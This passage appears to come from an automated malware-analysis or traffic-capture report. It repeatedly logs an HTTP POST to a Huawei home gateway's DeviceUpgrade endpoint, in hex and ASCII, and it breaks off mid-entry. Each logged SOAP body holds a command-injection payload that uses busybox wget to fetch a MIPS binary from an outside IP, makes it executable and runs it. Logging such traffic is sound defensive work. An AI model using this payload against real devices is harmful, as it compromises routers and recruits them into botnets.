3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r 